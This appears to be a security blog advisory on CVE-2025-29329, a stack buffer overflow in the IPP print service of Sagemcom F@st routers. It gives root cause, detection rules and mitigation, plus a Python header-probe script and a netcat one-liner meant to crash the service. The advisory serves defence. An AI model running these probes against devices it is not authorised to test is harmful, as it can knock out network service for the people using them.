CVE-2025-29329: Critical Sagemcom F@st IPP Buffer Overflow Enables Unauthenticated Remote Code Execution

Vulnerability Overview

CVE ID: CVE-2025-29329
Severity: Critical
Impact: Remote Code Execution (RCE)
Attack Vector: Network
Authentication Required: None
User Interaction: None
Exploitability: High when IPP service is reachable
Exploit Availability: Proof-of-concept exists (educational / research use only)
Affected Product: Sagemcom F@st 3686
Affected Firmware: Versions prior to 4.121.0


Executive Summary

CVE-2025-29329 is a critical memory-corruption vulnerability in the ippprint service of Sagemcom F@st devices. The flaw allows a remote attacker to crash the service or execute arbitrary code by sending a specially crafted HTTP request containing an oversized Expect header.

Because the vulnerable service is often enabled by default and lacks modern memory protection mechanisms, successful exploitation can result in full device compromise. An attacker gaining code execution at this level can manipulate traffic, install persistent malware, spy on connected users, or pivot deeper into the network.


Technical Details

Root Cause

The vulnerability exists in the way the ippprint service parses HTTP headers for Internet Printing Protocol (IPP) requests.

  • The service copies the value of the HTTP Expect header into a fixed-length stack buffer
  • The copy operation does not enforce length checks
  • If the Expect header exceeds the buffer size, adjacent stack memory is overwritten

This condition results in a stack-based buffer overflow.

Why Exploitation Is Feasible

The affected firmware binary lacks several common exploit mitigations:

  • No stack canaries
  • No address space layout randomization (ASLR / PIE)
  • No non-executable stack enforcement (NX)

Because of this, an attacker can more easily redirect program execution after triggering the overflow.


Attack Scenario

  1. The attacker identifies a reachable Sagemcom F@st device with IPP enabled (TCP port 631).
  2. A malformed HTTP request is sent to the IPP endpoint.
  3. The request includes an abnormally long Expect header.
  4. The header overflows a stack buffer inside ippprint.
  5. Execution flow is corrupted.
  6. The attacker gains code execution or causes a controlled crash.

This can be performed remotely without credentials.


MITRE Mapping

  • CWE-120: Buffer Copy Without Checking Size
  • ATT&CK Technique:
    • T1190 – Exploit Public-Facing Application

Proof of Concept (PoC) — Educational Use Only

PoC Objective

  • Confirm IPP service exposure
  • Validate unsafe header parsing
  • Generate logs and alerts
  • Avoid memory corruption or device takeover

Safe PoC — Header Boundary Test

This PoC sends an oversized but non-weaponized Expect header.

Python PoC

import socket

TARGET_IP = "192.168.1.1"   # Change to device IP
PORT = 631

# Oversized header, but below exploitation threshold
expect_payload = "A" * 64

request = (
    "POST /ipp HTTP/1.1\r\n"
    f"Host: {TARGET_IP}\r\n"
    f"Expect: {expect_payload}\r\n"
    "Content-Length: 0\r\n"
    "\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

try:
    sock.connect((TARGET_IP, PORT))
    sock.sendall(request.encode())
    response = sock.recv(1024)
    print("Response received:")
    print(response.decode(errors="ignore"))
except Exception as e:
    print("Connection error:", e)
finally:
    sock.close()

Expected Results

ResultInterpretation
HTTP responseIPP service active and parsing headers
Connection resetWeak input handling
Service crash/restartVulnerable memory handling
No responseService blocked or disabled

Any abnormal behavior confirms exposure.


Crash-Only Validation (Lab Use Only)

This test may crash ippprint but does not attempt execution control.

printf "POST /ipp HTTP/1.1\r\nHost:test\r\nExpect:%200s\r\n\r\n" | \
sed 's/ /A/g' | nc <device_ip> 631

What This PoC Does NOT Do

  • No shellcode
  • No control-flow hijacking
  • No persistence
  • No exploitation

Detection & Monitoring Guidance

Primary Indicators

Network

  • HTTP traffic to TCP port 631
  • Oversized or malformed Expect headers
  • Repeated malformed IPP requests

Device

  • ippprint crashes
  • Unexpected service restarts
  • Watchdog resets
  • Kernel or application errors in syslog

Suricata Detection Rules

Rule 1 — Oversized Expect Header to IPP

alert tcp any any -> $HOME_NET 631 (
    msg:"CVE-2025-29329 Possible IPP Expect Header Overflow Attempt";
    flow:established,to_server;
    http_header;
    content:"Expect:";
    pcre:"/Expect:\s?.{32,}/s";
    classtype:attempted-admin;
    sid:2025293291;
    rev:1;
)

Rule 2 — Malformed HTTP Request to IPP

alert tcp any any -> $HOME_NET 631 (
    msg:"Suspicious Malformed HTTP Request to IPP Service";
    flow:established,to_server;
    http_method;
    pcre:"/POST\s+\/ipp/i";
    classtype:protocol-command-decode;
    sid:2025293292;
    rev:1;
)

Rule 3 — Potential IPP Brute or Fuzzing Activity

alert tcp any any -> $HOME_NET 631 (
    msg:"Potential IPP Fuzzing or Exploitation Activity";
    flow:established,to_server;
    detection_filter:track by_src, count 5, seconds 60;
    classtype:attempted-recon;
    sid:2025293293;
    rev:1;
)

Recommended Log Sources

  • Network IDS/IPS (Suricata/Snort)
  • Firewall logs (TCP/631 access)
  • Router/syslog
  • Packet capture during investigation
  • Network proxy logs (if applicable)

Mitigation & Hardening

Until patched:

  1. Disable IPP service if not required
  2. Block TCP port 631 from untrusted networks
  3. Restrict management access to trusted segments
  4. Monitor for crashes and malformed IPP traffic
  5. Isolate affected devices if exploitation is suspected

Official Patch / Upgrade

Firmware updates and official remediation guidance are provided by Sagemcom:

👉 https://support.sagemcom.com/en

Upgrade to the latest firmware available for your specific device and ISP variant.


Final Takeaway

CVE-2025-29329 is a high-impact vulnerability that exposes affected Sagemcom devices to full remote compromise. While exploitation requires precise conditions, the lack of modern protections significantly lowers the barrier for attackers.

Detection is achievable through network inspection and service monitoring, and risk can be substantially reduced through service restriction and timely firmware upgrades.


Aegiron

Backed by 11+ years in cybersecurity and incident response, we decode the latest threats shaping today’s digital battlefield. This blog cuts through the noise with clear insights on vulnerabilities, emerging exploits, and the cyber news defenders can’t afford to miss.